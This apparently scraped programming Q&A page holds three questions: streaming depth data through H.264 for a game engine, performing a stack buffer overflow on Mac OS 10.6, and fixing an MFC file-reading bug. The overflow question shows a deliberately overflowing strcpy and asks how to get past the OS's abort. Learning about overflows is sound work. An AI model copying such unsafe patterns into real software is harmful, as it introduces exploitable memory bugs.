    I'm working on a development system (and game) intended for games set mostly in static third-person views. We produce our scenery by CG and photographic techniques. Our background art is rendered off-line by a production-grade renderer. To allow the runtime imagery to properly interact with the background art, I wrote a program to convert from depth output by Mental Ray into a texture, and a pixel shader to draw a quad such that the Z data comes from the texture. This technique is working out very well, but now we've decided that some of the camera angle changes between scenes should be animated. The animation itself is straightforward to produce from our CG models. We intend to encode it to some HD video codec such as H.264. The problem is that in order to maintain our runtime imagery on the screen, the depth buffer will need to be loaded for each video frame. Due to the bandwidth, the video's depth data will need to be compressed efficiently. I've looked into methods for performing temporal compression of depth info and found an interesting research paper here: http://web4.cs.ucl.ac.uk/staff/j.kautz/publications/depth-streaming.pdf The method establishes a mapping between 16-bit depth values and YCbCr values. The mapping is tuned to the properties of existing video codecs in order to maximize precision of the decoded depths after the YCbCr has undergone video compression. It allows an existing, unmodified video codec to be used on the backend. I'm looking at how to pull this off with the least possible work. (This design change was unplanned.) Our game engine itself is native C++, presently for Win32 and DirectX, although we've worked hard to keep platform dependence segregated because we intend other ports. We don't have motion video facilities in the engine yet but will ultimately need that anyway for cinematics. I was planning on using some off-the-shelf motion video solution we can plug into our engine, and haven't chosen one yet. This new added requirement makes selecting one harder since, among other things, we'll now need to bypass colourspace conversion on one of the streams, and also will need to be playing two streams simultaneously in lockstep, on top of in some cases audio on one of them (for the cinematics). I'm also wondering if it's possible (or even useful) to do the conversion from YCbCr to depth in a pixel shader, or if it's better to just do it in CPU and separately load the resulting depth values into a locked tex. The conversion unfortunately does involve branching logic per-pixel. (There are more naive mappings that don't need branching, but they produce inferior results.) It could be reduced to a table lookup but the table would be 32MB. Programming is second-nature to me but I'm not that experienced with pix shaders and have zero knowledge of off-the-shelf video solutions. I'd therefore be interested in advice from others who may have dealt more with depth streaming, pixel shaders, and/or off-the-shelf codecs, regarding how feasible the proposed application is and what off-the-shelf video systems out there would best get along with this usage case.

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  • performing simple buffer overflow on Mac os 10.6

    - by REALFREE
    I'm trying to learn about stack base overflow and write a simple code to exploit stack. But somehow it doesn't work at all but showing only Abort trap on my machine (mac os leopard) I guess Mac os treats overflow differently, it won't allow me to overwrite memory through c code. for example, strcpy(buffer, input) // lets say char buffer[6] but input is 7 bytes on Linux machine, this code successfully overwrite next stack, but prevented on mac os (Abort trap) Anyone know how to perform a simple stack-base overflow on mac machine?

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  • MFC: Reading entire file to buffer...

    - by deostroll
    I've meddled with some code but I am unable to read the entire file properly...a lot of junk gets appended to the output. How do I fix this? // wmfParser.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "wmfParser.h" #include <cstring> #ifdef _DEBUG #define new DEBUG_NEW #endif // The one and only application object CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs _tprintf(_T("Fatal Error: MFC initialization failed\n")); nRetCode = 1; } else { // TODO: code your application's behavior here. CFile file; CFileException exp; if( !file.Open( _T("c:\\sample.txt"), CFile::modeRead, &exp ) ){ exp.ReportError(); cout<<'\n'; cout<<"Aborting..."; system("pause"); return 0; } ULONGLONG dwLength = file.GetLength(); cout<<"Length of file to read = " << dwLength << '\n'; /* BYTE* buffer; buffer=(BYTE*)calloc(dwLength, sizeof(BYTE)); file.Read(buffer, 25); char* str = (char*)buffer; cout<<"length of string : " << strlen(str) << '\n'; cout<<"string from file: " << str << '\n'; */ char str[100]; file.Read(str, sizeof(str)); cout << "Data : " << str <<'\n'; file.Close(); cout<<"File was closed\n"; //AfxMessageBox(_T("This is a test message box")); system("pause"); } return nRetCode; }

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